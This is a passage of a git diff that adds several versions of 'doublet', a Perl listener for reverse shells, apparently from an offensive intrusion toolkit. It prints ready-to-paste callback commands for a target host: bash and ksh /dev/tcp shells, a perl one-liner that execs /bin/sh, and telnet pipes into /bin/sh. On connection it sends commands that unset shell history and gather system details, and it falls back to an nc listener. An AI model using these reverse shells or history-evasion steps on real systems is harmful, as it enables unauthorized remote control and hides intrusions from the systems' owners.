inet_ntoa($other_iaddr) ; + progprint("connect on $port1 for input from $other_ip:$other_port",$COLOR_FAILURE); + print $client "$defaultcommands\n" unless $quiet; + + # child sends stdin through to other end + while (defined ($line = ) ) { + print $client "$line" ; + } + kill ( "TERM" => $kidpid); # send SIGTERM to child +} # end if kid or not +exit; + +sub usage { + @_ = () if ( $_[0] eq "-h") ; + print $usagetext unless (@_ or $opt_v) ; + print $vertext unless (@_) ; + progprint("\nFATAL ERROR: @_\n",$COLOR_FAILURE) if ( @_ and !$opt_h ); + exit; +} # end sub usage + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck + +sub myinit { + use File::Basename; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + + $prog = basename ${0} ; + $vertext = "$prog version $version\n" ; + $defaultcommands = "unset HISTFILE\nunset HISTFILESIZE\nunset HISTSIZE\n". + "cd /tmp ; uname -a ; date ; date -u \n". + "w ; pwd ; ls -alrt ; pwd" ; + usage("bad option(s)") if (! &Getopts( "qvhi:peOo:t" ) ) ; + $noescape = !$opt_e ; + $scriptoverride = ($opt_O or ($opt_o eq "oo")); + $perlmode = $opt_p ; + $telnetmode = $opt_t; + $oneportmode = (!$perlmode and !$telnetmode); + $quiet = $opt_q ; + $destIP = $opt_i ; + unless ($destIP) { + my @interface = (ppp0,eth0,eth1) ; + foreach (@interface) { + last if ($destIP) = + (`ifconfig $_ 2>/dev/null | grep inet` =~ /inet addr:([0-9.]+) /) ; + } + } + $oneportsamples = "${COLOR_NOTE} +SOLARIS WITH /bin/ksh:$COLOR_NORMAL + /bin/ksh -c \"/bin/sh < /dev/tcp/destIP/port1 >&0 2>&0\" + +${COLOR_NOTE} +LINUX with /bin/bash$COLOR_NORMAL + /bin/bash < /dev/tcp/destIP/port1 >&0 2>&0 + +${COLOR_NOTE} +or if on LINUX in csh or any shell but /bin/bash exists$COLOR_NORMAL + /bin/bash -c \"/bin/bash &0 2>&0\" + +"; + $perlsamples = "${COLOR_NOTE} +WITH perl IN PATH (or tack a path in front of this):$COLOR_NORMAL +perl -e 'use IO::Socket;use IO::Handle;\$s=IO::Socket::INET->new(\"destIP:port1\");close(STDIN);close(STDOUT);IO::Handle->new_from_fd(\$s,\"r\");open(STDIN,\"<\$_\");IO::Handle->new_from_fd(\$s,\"w\");open(STDOUT,\">\$_\");exec \"/bin/sh\";' + +"; + $telnetsamples = "${COLOR_NOTE} +SOLARIS WITH ksh IN PATH (or tack a /bin/ in front of this):$COLOR_NORMAL + ksh -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\" + +${COLOR_NOTE} +LINUX WITH bash IN PATH or IN bash (or tack a /bin/ in front of this):$COLOR_NORMAL + bash -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\" + +${COLOR_NOTE} +ABOVE BUT ALREADY IN THE PROPER SHELL:$COLOR_NORMAL + cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1 +$COLOR_FAILURE +In the rest, change 300 to longer if you need it, or start at \"(telnet\" if you know +you have a good stdin) +${COLOR_NOTE} +IF NO JOY ABOVE:$COLOR_NORMAL + sleep 300 | (telnet destIP port1 2>\&1 ; sleep 1) | /bin/sh 2>\&1 | telnet destIP port2 2>\&1 + +${COLOR_NOTE} +IF NO JOY ABOVE AND ONLY HAVE csh (or see error \"Ambiguous output redirect\"):$COLOR_NORMAL + sleep 300 | (telnet destIP port1 ; sleep 1) | /bin/sh | telnet destIP port2 + +"; + + $perlsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape; + $telnetsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape; + $oneportsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape; + ($port1,$port2) = @ARGV ; + $port1 = int($port1) ; + $port2 = int($port2) ; + if ($oneportmode) { + die("No second port needed with -1 (one-port) option") if $port2; + } + $port2 = $port1 + 1 unless ($port2 or !$port1); + if ($destIP) { + $telnetsamples =~ s/destIP/$destIP/g ; + $perlsamples =~ s/destIP/$destIP/g ; + $oneportsamples =~ s/destIP/$destIP/g ; + } + if ($port1) { + $telnetsamples =~ s/port1/$port1/g; + $perlsamples =~ s/port1/$port1/g; + $oneportsamples =~ s/port1/$port1/g; + } + if ($port2) { + $telnetsamples =~ s/port2/$port2/g; + $perlsamples =~ s/port2/$port2/g; + $oneportsamples =~ s/port2/$port2/g; + } + if ($telnetmode) { + $samples = $telnetsamples; + } elsif ($oneportmode) { + $samples = $oneportsamples; + } else { # perlmode + $samples = $perlsamples; + } + my $helpsamples = "" ; + $helpsamples .= "TELNET|dev/tcp MODE\n-------------------\n$telnetsamples" ; + $helpsamples .= "PERL MODE\n---------\n$perlsamples" ; + $helpsamples .= "ONE-PORT dev/tcp MODE\n---------------------\n$oneportsamples" ; + + $helpsamples =~ s/port1/$port1/g if $port1 ; + $helpsamples =~ s/port2/$port2/g if $port2 ; + + $usagetext = " +Usage: $prog [options] [-i destIP] port1 [port2] + +$prog waits for one or two tcp connections from a remote host. In perl +and one-port modes, just one port is used for both directions of traffic. + +$prog defaults to one-port mode, the simplest on the target command line. +The name \"doublet\" comes from the historical initial use of this process +being what is now called telnet mode. + +In telnet mode there are two ports calling back from the target: port1 is +used to send commands to the remote system, and port2 is used to bring +output from those commands back. Note, however, that both tcp connections +are originated from the remote side. + +$prog will refuse to run if it is not in a scripted window. + +In one-port and perl modes, $prog execs \"spawn\" to handle the incoming +connection, which must be in the PATH. + +NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It + gives the error 'ambiguous redirect'. If you see that, change to sh + or bash before you run this on the other host (or use csh if you + must but omit the three occurrences of 2>\&1 and any stderr from + commands will not be seen in the $prog window). + +Use $prog with something like one of the following commands on the +remote host (ONLY ONE, and pick either telnet or perl mode with -t/-p): + +$helpsamples +If port2 is omitted, port1+1 is used (but only in telnet|/dev/tcp mode). + +The commands shown above are given as pastables with the actual ports and +IP (a local IP is shown if -i is not provided). + +Unless the -q (quiet) parameter is used, $prog sends up these commands once a +connection is first received (but only in telnet mode): + +"; + foreach (split (/\n/, $defaultcommands) ) { + $usagetext .= "\t$_\n"; + } + +$usagetext .=" +Usage: $prog [options] [-i destIP] port1 [port2] + +OPTIONS + -O override \"script\" requirement + -q quiet mode -- initial commands skipped in telnet|/dev/tcp mode + -e DO escape \\, \$, \" and \` (backtick) in pastables + -i IP IP in pastables that target will be calling back to (usu. here) + -p perl mode -- use \"perl -e\" command to connect from target + -t Use telnet (two-port) mode +"; + $usagetext .= "\n"; + usage() if ($opt_h or $opt_v) ; + usage("Bad IP $opt_i") if ($opt_i and (! &ipcheck($opt_i))) ; + $defaultcommands = "" if ($quiet) ; + usage("-h") unless (@ARGV == 1 or @ARGV == 2) ; + + usage("Invalid port $ARGV[0]") unless ($port1 eq $ARGV[0]) ; + usage("Invalid port $port1") if ($port1 < 1 or $port1 > 65534) ; + usage("Invalid port $port2") if ($port2 < 1 or $port2 > 65534) ; + + scriptordie() ; + # OK. Good to go from here. +}#myinit +sub progprint { + local ($what,$color,$color2,$what2) = (@_) ; + local $newlines ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + while (substr($what,0,1) eq "\n") { + $newlines .= "\n"; + $what = substr($what,1) ; + } + if ($color eq $COLOR_FAILURE) { + $newlines .= "\a" ; + select STDERR ; + } + $| = 1; + print "$newlines${color2}$prog\[$$]$what2: ${color}$what$COLOR_NORMAL\n" ; + select STDOUT ; +} +sub doperlmode { + my $running = "Now running"; + unless ($port1) { + $running = "If given a local port number to listen on, $prog would now have run"; + } + foreach (split (/\n/, $defaultcommands) ) { + $more .= "\t$_\n"; + } + progprint("Here are some commands you may want once you receive the connection:\n\n$more\n"); + + + progprint("$running local listener via:\n\n exec \"spawn 127.0.0.1 $port1 listen\" ;"); + if ($port1) { + my $spawnprog = "spawn 127.0.0.1 $port1 listen"; + my $ncprog = "nc -vv -l -p $port1"; + progprint("Trying $spawnprog..."); + exec($spawnprog) or progprint("$prog cannot exec \"$spawnprog\"\n\nFATAL! $!\n\nTRYING nc instead",$COLOR_FAILURE); + progprint("Trying $ncprog..."); + exec("nc -vv -l -p $port1") or progprint("$prog cannot exec \"$ncprog\"\n\nFATAL! $!",$COLOR_FAILURE); + die($?); + } + exit; +} +sub dbg { + progprint("DBG: @_"); +} +sub scriptordie { + my $ppid = getppid(); + my $pprocess = `ps -ef | grep $ppid | egrep -v "perl|grep"` ; + my ($pppid) = $pprocess =~ /\w+\s+\w+\s+(\w+)/ ; + my $scriptordie = `pschain $$ 2>/dev/null | grep script.*script | tail -1` ; + $scriptordie = `ps -ef | grep $pppid | egrep -v "perl|grep" | grep script.*script | tail -1` + unless $scriptordie; + unless ($scriptordie) { + my $processes = `pschain $$ 2>/dev/null`; + $processes = `ps -ef | egrep "$$|$pppid" | egrep -v "grep"` unless $processes; + unless ($scriptoverride) { + usage("\aYou must run $prog in a scripted window.\n\nI.e., grandparent process must match \"script.*/script\" and does not:$COLOR_NOTE\n$processes\n"); + } else { + progprint("WARNING: Overriding requirement for \"script -af\" in this window. + + That is there to protect you. If you continue unscripted, it's your problem. + $prog will proceed in 10 seconds. Just wait. +",$COLOR_FAILURE); + sleep 10 unless ($opt_o) ; + } + } else { + $scriptordie =~ s/.*script/script/ ; + chomp($scriptordie); + progprint("Confirmed this window is scripted ($scriptordie)"); + } +}#scriptordie diff --git a/Linux/bin/doublet.old20040420-1838 b/Linux/bin/doublet.old20040420-1838 new file mode 100755 index 0000000..7b0e45e --- /dev/null +++ b/Linux/bin/doublet.old20040420-1838 @@ -0,0 +1,230 @@ +#!/usr/bin/env perl +#use strict; +#TODO: $quiet aint working for some reason +#TODO: Test that other guy's box isn't hosed... +use IO::Socket ; + +my ($usagetext, $prog, $port, $port2, $kidpid, $server, $server2, + $client, $other_end, $other_iaddr, $other_ip, $other_port, $version, + $defaultcommands, $tmp); +$version = "1.4"; +$| = 1; # unbuffered output +myinit() ; + +if ($destIP) { + print "Choose ONE remote command to connect to $prog: + +$samples + +NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It + gives the error 'ambiguous redirect'. If you see that, change to sh + or bash before you run this on the other host (or use csh if you must + but omit the three occurrences of 2>\&1 and any stderr from commands + will not be seen in the doublet window). + +" ; +} +# split into two processes +print STDERR "When connection established, will send up these commands:\n$defaultcommands\n\n" unless $quiet; +progprint("Confirmed this window is scripted ($scriptordie)"); + +die "cannot fork: $! " unless (defined ($kidpid = fork())) ; + +if (! $kidpid) { # child + close (STDIN) ; # trying to fix + my ($line) ; # trying to fix + $server = IO::Socket::INET->new(LocalPort => $port2, + Type => SOCK_STREAM, + Reuse => 1, + Listen => 1 ) + or die "Cannot be a tcp server on port $port2 : $@\n"; + progprint("Waiting on $port2 for output",$COLOR_FAILURE,$COLOR_NOTE); + + + $client = $server->accept() ; + $other_end = getpeername($client) + or die "Could not identify other end: $!\n"; + ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end); + $other_ip = inet_ntoa($other_iaddr) ; + progprint("connect on $port2 for output from $other_ip:$other_port",$COLOR_FAILURE); + # parent accepts output from other end + while (defined ($line = <$client>) ) { + print STDOUT "$line" ; + } +} else { # parent + my ($line) ; # trying to fix + close (STDOUT) ; # trying to fix + $server2 = IO::Socket::INET->new(LocalPort => $port1, + Type => SOCK_STREAM, + Reuse => 1, + Listen => 1 ) + or die "Cannot be a tcp server on port $port1 : $@\n"; + progprint("Waiting on $port1 for input",$COLOR_FAILURE,$COLOR_NOTE); + + $client = $server2->accept() ; + $other_end = getpeername($client) + or die "Could not identify other end: $!\n"; + ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end); + $other_ip = inet_ntoa($other_iaddr) ; + progprint("connect on $port1 for input from $other_ip:$other_port",$COLOR_FAILURE); + print $client "$defaultcommands\n" unless $quiet; + + # child sends stdin through to other end + while (defined ($line = ) ) { + print $client "$line" ; + } + kill ( "TERM" => $kidpid); # send SIGTERM to child +} # end if kid or not +exit; + +sub usage { + @_ = () if ( $_[0] eq "-h") ; + print $usagetext unless (@_ or $opt_v) ; + print $vertext unless (@_) ; + progprint("\nFATAL ERROR: @_\n",$COLOR_FAILURE) if ( @_ and !$opt_h ); + exit; +} # end sub usage + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck + +sub myinit { + use File::Basename; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + + $prog = basename ${0} ; + $vertext = "$prog version $version\n" ; + $defaultcommands = "cd /tmp ; uname -a ; date ; date -u \ +w ; pwd ; ls -alrt ; pwd" ; + usage("bad option(s)") if (! &Getopts( "qvhi:" ) ) ; + $quiet = $opt_q ; + $destIP = $opt_i ; + unless ($destIP) { + my @interface = (ppp0,eth0,eth1) ; + foreach (@interface) { + last if ($destIP) = + (`ifconfig $_ 2>/dev/null | grep inet` =~ /inet addr:([0-9.]+) /) ; + } + } + $samples = "${COLOR_NOTE} +SOLARIS WITH ksh IN PATH (or tack a /bin/ in front of this):$COLOR_NORMAL + + ksh -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\" + +${COLOR_NOTE} +LINUX WITH bash IN PATH or IN bash (or tack a /bin/ in front of this):$COLOR_NORMAL + + bash -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\" + +${COLOR_NOTE} +ABOVE BUT ALREADY IN THE PROPER SHELL:$COLOR_NORMAL + + cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1 + +${COLOR_NOTE} +IF NO JOY ABOVE:$COLOR_NORMAL + + (telnet destIP port1 2>\&1 ; sleep 1) | /bin/sh 2>\&1 | telnet destIP port2 2>\&1 + +${COLOR_NOTE} +IF NO JOY ABOVE AND ONLY HAVE csh (or see error \"Ambiguous output redirect\"):$COLOR_NORMAL + + (telnet destIP port1 ; sleep 1) | /bin/sh | telnet destIP port2 + +"; + ($port1,$port2) = @ARGV ; + $port1 = int($port1) ; + $port2 = int($port2) ; + $port2 = $port1 + 1 unless ($port2 or !$port1); + $samples =~ s/destIP/$destIP/g if $destIP ; + $samples =~ s/port1/$port1/g if $port1 ; + $samples =~ s/port2/$port2/g if $port2 ; + + $usagetext = " +Usage: $prog [-i destIP] [-q] port1 [port2] + +$prog waits for two tcp connections on port1 and port2 from a remote +host. One is used to send commands to the remote system, and the other +is used to bring output from those commands back. Note, however, that +both tcp tcpconnections are originated from the remote side (and so you +must somehow be able to get that command executed on the remote side). + +NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It + gives the error 'ambiguous redirect'. If you see that, change to sh + or bash before you run this on the other host (or use csh if you + must but omit the three occurrences of 2>\&1 and any stderr from + commands will not be seen in the doublet window). + +Use $prog with something like one of the following commands on your remote +host (ONLY ONE): +$samples +If port2 is omitted, port1+1 is used. + +The commands shown above are given as pastables with the actual ports and +IP (a local IP is shown if -i is not provided). + +Unless the -q (quiet) parameter is used, $prog sends up these commands once a +connection is first received: + +"; + foreach (split (/\n/, $defaultcommands) ) { + $usagetext .= "\t$_\n"; + } + $usagetext .= "\n"; + usage() if ($opt_h or $opt_v) ; + usage("Bad IP $opt_i") if ($opt_i and (! &ipcheck($opt_i))) ; + $defaultcommands = "" if ($quiet) ; + usage("-h") unless (@ARGV == 1 or @ARGV == 2) ; + + usage("Invalid port $ARGV[0]") unless ($port1 eq $ARGV[0]) ; + usage("Invalid port $port1") if ($port1 < 1 or $port1 > 65534) ; + usage("Invalid port $port2") if ($port2 < 1 or $port2 > 65534) ; + + my $ppid = getppid(); + my $pprocess = `ps -ef | grep $ppid | egrep -v "perl|grep"` ; + my ($pppid) = $pprocess =~ /\w+\s+\w+\s+(\w+)/ ; + $scriptordie = `ps -ef | grep $pppid | egrep -v "perl|grep" | grep script.*/down` ; + unless ($scriptordie) { + my $processes = `ps -ef | egrep "$$|$pppid" | egrep -v "grep"` ; + usage("\aYou must run $prog in a scripted window.\n\nI.e., grandparent process myst match \"script.*/down\" and does not:$COLOR_NOTE\n$processes\n"); + + } else { + $scriptordie =~ s/.*script/script/ ; + chomp($scriptordie); + } + # OK. Good to go from here. +}#myinit +sub progprint { + local ($what,$color,$color2,$what2) = (@_) ; + local $newlines ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + while (substr($what,0,1) eq "\n") { + $newlines .= "\n"; + $what = substr($what,1) ; + } + if ($color eq $COLOR_FAILURE) { + $newlines .= "\a" ; + select STDERR ; + } + $| = 1; + print "$newlines${color2}$prog\[$$]$what2: ${color}$what$COLOR_NORMAL\n" ; + select STDOUT ; +} diff --git a/Linux/bin/doublet.old20050527-1451 b/Linux/bin/doublet.old20050527-1451 new file mode 100755 index 0000000..37a5787 --- /dev/null +++ b/Linux/bin/doublet.old20050527-1451 @@ -0,0 +1,292 @@ +#!/usr/bin/env perl +#use strict; +#TODO: $quiet aint working for some reason +#TODO: Test that other guy's box isn't hosed... +use IO::Socket ; + +my ($usagetext, $prog, $port, $port2, $kidpid, $server, $server2, + $client, $other_end, $other_iaddr, $other_ip, $other_port, $version, + $defaultcommands, $tmp); +$version = "1.5.0.1"; +$| = 1; # unbuffered output +myinit() ; + +if ($destIP) { + unless ($noescape) { + progprint("Pastables below have \\, \$, \" and \` (backtick) characters escaped."); + progprint("Use -e option to avoid escaping \\, \$, \" and \` (backtick)."); + } + print "\n\nChoose ONE remote command to connect to $prog from elsewhere: + +$samples + +NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It + gives the error 'ambiguous redirect'. If you see that, change to sh + or bash before you run this on the other host (or use csh if you must + but omit the three occurrences of 2>\&1 and any stderr from commands + will not be seen in the $prog window). + +" ; +} + +doperlmode() if $perlmode ; # this won't return +# remainder is telnet/ksh mode +# split into two processes +print STDERR "When connection established, will send up these commands:\n$defaultcommands\n\n" unless $quiet; + +die "cannot fork: $! " unless (defined ($kidpid = fork())) ; + +if (! $kidpid) { # child + close (STDIN) ; # trying to fix + my ($line) ; # trying to fix + $server = IO::Socket::INET->new(LocalPort => $port2, + Type => SOCK_STREAM, + Reuse => 1, + Listen => 1 ) + or die "Cannot be a tcp server on port $port2 : $@\n"; + progprint("Waiting on $port2 for output",$COLOR_FAILURE,$COLOR_NOTE); + + + $client = $server->accept() ; + $other_end = getpeername($client) + or die "Could not identify other end: $!\n"; + ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end); + $other_ip = inet_ntoa($other_iaddr) ; + progprint("connect on $port2 for output from $other_ip:$other_port",$COLOR_FAILURE); + # parent accepts output from other end + while (defined ($line = <$client>) ) { + print STDOUT "$line" ; + } +} else { # parent + my ($line) ; # trying to fix + close (STDOUT) ; # trying to fix + $server2 = IO::Socket::INET->new(LocalPort => $port1, + Type => SOCK_STREAM, + Reuse => 1, + Listen => 1 ) + or die "Cannot be a tcp server on port $port1 : $@\n"; + progprint("Waiting on $port1 for input",$COLOR_FAILURE,$COLOR_NOTE); + + $client = $server2->accept() ; + $other_end = getpeername($client) + or die "Could not identify other end: $!\n"; + ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end); + $other_ip = inet_ntoa($other_iaddr) ; + progprint("connect on $port1 for input from $other_ip:$other_port",$COLOR_FAILURE); + print $client "$defaultcommands\n" unless $quiet; + + # child sends stdin through to other end + while (defined ($line = ) ) { + print $client "$line" ; + } + kill ( "TERM" => $kidpid); # send SIGTERM to child +} # end if kid or not +exit; + +sub usage { + @_ = () if ( $_[0] eq "-h") ; + print $usagetext unless (@_ or $opt_v) ; + print $vertext unless (@_) ; + progprint("\nFATAL ERROR: @_\n",$COLOR_FAILURE) if ( @_ and !$opt_h ); + exit; +} # end sub usage + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck + +sub myinit { + use File::Basename; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + + $prog = basename ${0} ; + $vertext = "$prog version $version\n" ; + $defaultcommands = "cd /tmp ; uname -a ; date ; date -u \ +w ; pwd ; ls -alrt ; pwd" ; + usage("bad option(s)") if (! &Getopts( "qvhi:peO" ) ) ; + $noescape = $opt_e ; + $scriptoverride = $opt_O ; + $perlmode = $opt_p ; + $telnetmode = !$perlmode ; + $quiet = $opt_q ; + $destIP = $opt_i ; + unless ($destIP) { + my @interface = (ppp0,eth0,eth1) ; + foreach (@interface) { + last if ($destIP) = + (`ifconfig $_ 2>/dev/null | grep inet` =~ /inet addr:([0-9.]+) /) ; + } + } + $perlsamples = "${COLOR_NOTE} +WITH perl IN PATH (or tack a path in front of this):$COLOR_NORMAL +perl -e 'use IO::Socket;use IO::Handle;\$s=IO::Socket::INET->new(\"destIP:port1\");close(STDIN);close(STDOUT);IO::Handle->new_from_fd(\$s,\"r\");open(STDIN,\"<\$_\");IO::Handle->new_from_fd(\$s,\"w\");open(STDOUT,\">\$_\");exec \"/bin/sh\";' + +"; + $perlsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape; + $telnetsamples = "${COLOR_NOTE} +SOLARIS WITH ksh IN PATH (or tack a /bin/ in front of this):$COLOR_NORMAL + ksh -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\" + +${COLOR_NOTE} +LINUX WITH bash IN PATH or IN bash (or tack a /bin/ in front of this):$COLOR_NORMAL + bash -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\" + +${COLOR_NOTE} +ABOVE BUT ALREADY IN THE PROPER SHELL:$COLOR_NORMAL + cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1 +$COLOR_FAILURE +In the rest, change 300 to longer if you need it, or start at \"(telnet\" if you know +you have a good stdin) +${COLOR_NOTE} +IF NO JOY ABOVE:$COLOR_NORMAL + sleep 300 | (telnet destIP port1 2>\&1 ; sleep 1) | /bin/sh 2>\&1 | telnet destIP port2 2>\&1 + +${COLOR_NOTE} +IF NO JOY ABOVE AND ONLY HAVE csh (or see error \"Ambiguous output redirect\"):$COLOR_NORMAL + sleep 300 | (telnet destIP port1 ; sleep 1) | /bin/sh | telnet destIP port2 + +"; + $telnetsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape; + ($port1,$port2) = @ARGV ; + $port1 = int($port1) ; + $port2 = int($port2) ; + $port2 = $port1 + 1 unless ($port2 or !$port1); + if ($destIP) { + $telnetsamples =~ s/destIP/$destIP/g ; + $perlsamples =~ s/destIP/$destIP/g ; + } + $perlsamples =~ s/port1/$port1/g if $port1 ; + $telnetsamples =~ s/port1/$port1/g if $port1 ; + $perlsamples =~ s/port2/$port2/g if $port2 ; + $telnetsamples =~ s/port2/$port2/g if $port2 ; + if ($telnetmode) { + $samples = $telnetsamples; + } else { # perlmode + $samples = $perlsamples; + } + my $helpsamples = "" ; + $helpsamples .= "TELNET|dev/tcp MODE\n-------------------\n$telnetsamples" + if $telnetmode ; # only show TELNET if -p not given + $helpsamples .= "PERL MODE\n---------\n$perlsamples" ; + + $helpsamples =~ s/port1/$port1/g if $port1 ; + $helpsamples =~ s/port2/$port2/g if $port2 ; + + $usagetext = " +Usage: $prog [options] [-i destIP] port1 [port2] + + -O override \"script\" requirement + -q quiet mode -- initial commands skipped in telnet|/dev/tcp mode + -p perl mode -- use \"perl -e\" command to connect from target + -e do NOT escape \\, \$, \" and \` (backtick) in pastables + -i IP IP in pastables that target will be calling back to (usu. here) + +$prog waits for one or two tcp connections from a remote host. In perl +mode, just one port is used for both directions of traffic. In telnet +mode there are two: port1 is used to send commands to the remote system, +and port2 is used to bring output from those commands back. Note, however, +that both tcp connections are originated from the remote side (and so you +must somehow be able to get that command executed on the remote side). + +NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It + gives the error 'ambiguous redirect'. If you see that, change to sh + or bash before you run this on the other host (or use csh if you + must but omit the three occurrences of 2>\&1 and any stderr from + commands will not be seen in the $prog window). + +Use $prog with something like one of the following commands on the +remote host (ONLY ONE, and pick either telnet or perl mode with -p): + +$helpsamples +If port2 is omitted, port1+1 is used (but only in telnet|/dev/tcp mode). + +The commands shown above are given as pastables with the actual ports and +IP (a local IP is shown if -i is not provided). + +Unless the -q (quiet) parameter is used, $prog sends up these commands once a +connection is first received (but not in perl mode): + +"; + foreach (split (/\n/, $defaultcommands) ) { + $usagetext .= "\t$_\n"; + } + $usagetext .= "\n"; + usage() if ($opt_h or $opt_v) ; + usage("Bad IP $opt_i") if ($opt_i and (! &ipcheck($opt_i))) ; + $defaultcommands = "" if ($quiet) ; + usage("-h") unless (@ARGV == 1 or @ARGV == 2) ; + + usage("Invalid port $ARGV[0]") unless ($port1 eq $ARGV[0]) ; + usage("Invalid port $port1") if ($port1 < 1 or $port1 > 65534) ; + usage("Invalid port $port2") if ($port2 < 1 or $port2 > 65534) ; + + my $ppid = getppid(); + my $pprocess = `ps -ef | grep $ppid | egrep -v "perl|grep"` ; + my ($pppid) = $pprocess =~ /\w+\s+\w+\s+(\w+)/ ; + $scriptordie = `ps -ef | grep $pppid | egrep -v "perl|grep" | grep script.*script` ; + unless ($scriptordie) { + my $processes = `ps -ef | egrep "$$|$pppid" | egrep -v "grep"` ; + unless ($scriptoverride) { + usage("\aYou must run $prog in a scripted window.\n\nI.e., grandparent process myst match \"script.*/down\" and does not:$COLOR_NOTE\n$processes\n"); + } else { + progprint("WARNING: Overriding requirement for \"script -af\" in this window. + + That is there to protect you. If you continue unscripted, it's your problem. + $prog will proceed in 10 seconds. Just wait. +",$COLOR_FAILURE); + sleep 10 ; + } + } else { + $scriptordie =~ s/.*script/script/ ; + chomp($scriptordie); + progprint("Confirmed this window is scripted ($scriptordie)"); + } + # OK. Good to go from here. +}#myinit +sub progprint { + local ($what,$color,$color2,$what2) = (@_) ; + local $newlines ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + while (substr($what,0,1) eq "\n") { + $newlines .= "\n"; + $what = substr($what,1) ; + } + if ($color eq $COLOR_FAILURE) { + $newlines .= "\a" ; + select STDERR ; + } + $| = 1; + print "$newlines${color2}$prog\[$$]$what2: ${color}$what$COLOR_NORMAL\n" ; + select STDOUT ; +} +sub doperlmode { + my $running = "Now running"; + unless ($port1) { + $running = "If given a local port number to listen on, $prog would now have run"; + } + progprint("$running local listener via:\n\n exec \"spawn 127.0.0.1 $port1 listen\" ;"); + if ($port1) { + exec("spawn 127.0.0.1 $port1 listen") or die "$prog cannot exec spawn: $!\n"; + } + exit; +} +sub dbg { + progprint("DBG: @_"); +} diff --git a/Linux/bin/doublet.old20050606-1649 b/Linux/bin/doublet.old20050606-1649 new file mode 100755 index 0000000..ad3a95e --- /dev/null +++ b/Linux/bin/doublet.old20050606-1649 @@ -0,0 +1,295 @@ +#!/usr/bin/env perl +#use strict; +#TODO: $quiet aint working for some reason +#TODO: Test that other guy's box isn't hosed... +use IO::Socket ; + +my ($usagetext, $prog, $port, $port2, $kidpid, $server, $server2, + $client, $other_end, $other_iaddr, $other_ip, $other_port, $version, + $defaultcommands, $tmp); +$version = "1.5"; +$| = 1; # unbuffered output +myinit() ; + +if ($destIP) { + unless ($noescape) { + progprint("Pastables below have \\, \$, \" and \` (backtick) characters escaped."); + progprint("Use -e option to avoid escaping \\, \$, \" and \` (backtick)."); + } + print "\n\nChoose ONE remote command to connect to $prog from elsewhere: + +$samples + +NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It + gives the error 'ambiguous redirect'. If you see that, change to sh + or bash before you run this on the other host (or use csh if you must + but omit the three occurrences of 